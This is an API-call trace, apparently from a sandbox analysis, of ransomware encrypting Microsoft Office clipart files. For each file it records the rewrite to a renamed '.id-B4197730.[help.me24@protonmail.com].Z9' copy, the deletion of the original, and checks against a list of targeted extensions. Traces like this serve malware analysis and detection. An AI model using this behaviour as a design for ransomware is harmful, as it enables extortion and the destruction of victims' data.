	[0178.954] lstrlenW (lpString=".7z") returned 3
	[0178.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.955] lstrlenW (lpString=".dbf") returned 4
	[0178.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.955] lstrlenW (lpString=".1cd") returned 4
	[0178.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0178.955] lstrlenW (lpString=".jpg") returned 4
	[0178.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.955] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.955] lstrlenW (lpString="J0107512.WMF") returned 12
	[0178.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.956] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=11404) returned 1
	[0178.956] CloseHandle (hObject=0x548) returned 1
	[0178.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220
	[0178.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.957] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.957] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.959] GetLastError () returned 0x0
	[0178.959] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2c8c, lpOverlapped=0x0) returned 1
	[0178.960] WriteFile (in: hFile=0x54c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2c90, lpOverlapped=0x0) returned 1
	[0178.962] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.962] WriteFile (in: hFile=0x54c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.962] SetEndOfFile (hFile=0x54c) returned 1
	[0178.962] CloseHandle (hObject=0x54c) returned 1
	[0178.962] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.962] SetEndOfFile (hFile=0x548) returned 1
	[0178.965] CloseHandle (hObject=0x548) returned 1
	[0178.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1
	[0178.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.968] lstrlenW (lpString=".doc") returned 4
	[0178.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.968] lstrlenW (lpString=".docx") returned 5
	[0178.968] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.968] lstrlenW (lpString=".pdf") returned 4
	[0178.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.968] lstrlenW (lpString=".xls") returned 4
	[0178.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.968] lstrlenW (lpString=".xlsx") returned 5
	[0178.968] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.968] lstrlenW (lpString=".ppt") returned 4
	[0178.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.968] lstrlenW (lpString=".zip") returned 4
	[0178.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.968] lstrlenW (lpString=".rar") returned 4
	[0178.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.968] lstrlenW (lpString=".bz2") returned 4
	[0178.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.968] lstrlenW (lpString=".7z") returned 3
	[0178.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.968] lstrlenW (lpString=".dbf") returned 4
	[0178.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.968] lstrlenW (lpString=".1cd") returned 4
	[0178.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.969] lstrlenW (lpString=".jpg") returned 4
	[0178.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.969] lstrlenW (lpString=".doc") returned 4
	[0178.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString=".docx") returned 5
	[0178.969] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.969] lstrlenW (lpString=".pdf") returned 4
	[0178.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString=".xls") returned 4
	[0178.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.969] lstrlenW (lpString=".xlsx") returned 5
	[0178.969] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.969] lstrlenW (lpString=".ppt") returned 4
	[0178.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.969] lstrlenW (lpString=".zip") returned 4
	[0178.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.969] lstrlenW (lpString=".rar") returned 4
	[0178.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString=".bz2") returned 4
	[0178.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.969] lstrlenW (lpString=".7z") returned 3
	[0178.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.970] lstrlenW (lpString=".dbf") returned 4
	[0178.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.970] lstrlenW (lpString=".1cd") returned 4
	[0178.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0178.970] lstrlenW (lpString=".jpg") returned 4
	[0178.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.970] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.970] lstrlenW (lpString="J0107514.WMF") returned 12
	[0178.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.972] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=12204) returned 1
	[0178.972] CloseHandle (hObject=0x548) returned 1
	[0178.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220
	[0178.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.973] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.973] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.976] GetLastError () returned 0x0
	[0178.976] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2fac, lpOverlapped=0x0) returned 1
	[0178.978] WriteFile (in: hFile=0x54c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2fb0, lpOverlapped=0x0) returned 1
	[0179.263] ReadFile (in: hFile=0x548, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.263] WriteFile (in: hFile=0x54c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.264] SetEndOfFile (hFile=0x54c) returned 1
	[0179.264] CloseHandle (hObject=0x54c) returned 1
	[0179.264] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.264] SetEndOfFile (hFile=0x548) returned 1
	[0179.436] CloseHandle (hObject=0x548) returned 1
	[0179.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1
	[0179.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.913] lstrlenW (lpString=".doc") returned 4
	[0179.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString=".docx") returned 5
	[0179.913] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.913] lstrlenW (lpString=".pdf") returned 4
	[0179.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString=".xls") returned 4
	[0179.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.913] lstrlenW (lpString=".xlsx") returned 5
	[0179.913] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.913] lstrlenW (lpString=".ppt") returned 4
	[0179.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.913] lstrlenW (lpString=".zip") returned 4
	[0179.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.913] lstrlenW (lpString=".rar") returned 4
	[0179.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString=".bz2") returned 4
	[0179.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString=".7z") returned 3
	[0179.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.913] lstrlenW (lpString=".dbf") returned 4
	[0179.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.913] lstrlenW (lpString=".1cd") returned 4
	[0179.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.913] lstrlenW (lpString=".jpg") returned 4
	[0179.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.914] lstrlenW (lpString=".doc") returned 4
	[0179.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString=".docx") returned 5
	[0179.914] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.914] lstrlenW (lpString=".pdf") returned 4
	[0179.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString=".xls") returned 4
	[0179.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.914] lstrlenW (lpString=".xlsx") returned 5
	[0179.914] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.914] lstrlenW (lpString=".ppt") returned 4
	[0179.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.914] lstrlenW (lpString=".zip") returned 4
	[0179.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.914] lstrlenW (lpString=".rar") returned 4
	[0179.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString=".bz2") returned 4
	[0179.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString=".7z") returned 3
	[0179.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.914] lstrlenW (lpString=".dbf") returned 4
	[0179.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.914] lstrlenW (lpString=".1cd") returned 4
	[0179.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0179.914] lstrlenW (lpString=".jpg") returned 4
	[0179.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.915] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.915] lstrlenW (lpString="J0107722.WMF") returned 12
	[0179.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.063] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8260) returned 1
	[0180.063] CloseHandle (hObject=0x540) returned 1
	[0180.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220
	[0180.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.064] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.064] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0180.065] GetLastError () returned 0x0
	[0180.065] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2044, lpOverlapped=0x0) returned 1
	[0180.124] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2050, lpOverlapped=0x0) returned 1
	[0180.125] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.125] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.125] SetEndOfFile (hFile=0x520) returned 1
	[0180.126] CloseHandle (hObject=0x520) returned 1
	[0180.126] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.126] SetEndOfFile (hFile=0x540) returned 1
	[0180.129] CloseHandle (hObject=0x540) returned 1
	[0180.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1
	[0180.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.130] lstrlenW (lpString=".doc") returned 4
	[0180.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString=".docx") returned 5
	[0180.131] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.131] lstrlenW (lpString=".pdf") returned 4
	[0180.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString=".xls") returned 4
	[0180.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.131] lstrlenW (lpString=".xlsx") returned 5
	[0180.131] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.131] lstrlenW (lpString=".ppt") returned 4
	[0180.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.131] lstrlenW (lpString=".zip") returned 4
	[0180.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.131] lstrlenW (lpString=".rar") returned 4
	[0180.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString=".bz2") returned 4
	[0180.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString=".7z") returned 3
	[0180.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.131] lstrlenW (lpString=".dbf") returned 4
	[0180.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.131] lstrlenW (lpString=".1cd") returned 4
	[0180.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.131] lstrlenW (lpString=".jpg") returned 4
	[0180.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.132] lstrlenW (lpString=".doc") returned 4
	[0180.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.132] lstrlenW (lpString=".docx") returned 5
	[0180.132] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.132] lstrlenW (lpString=".pdf") returned 4
	[0180.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.132] lstrlenW (lpString=".xls") returned 4
	[0180.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.132] lstrlenW (lpString=".xlsx") returned 5
	[0180.132] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.132] lstrlenW (lpString=".ppt") returned 4
	[0180.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.132] lstrlenW (lpString=".zip") returned 4
	[0180.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.132] lstrlenW (lpString=".rar") returned 4
	[0180.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.132] lstrlenW (lpString=".bz2") returned 4
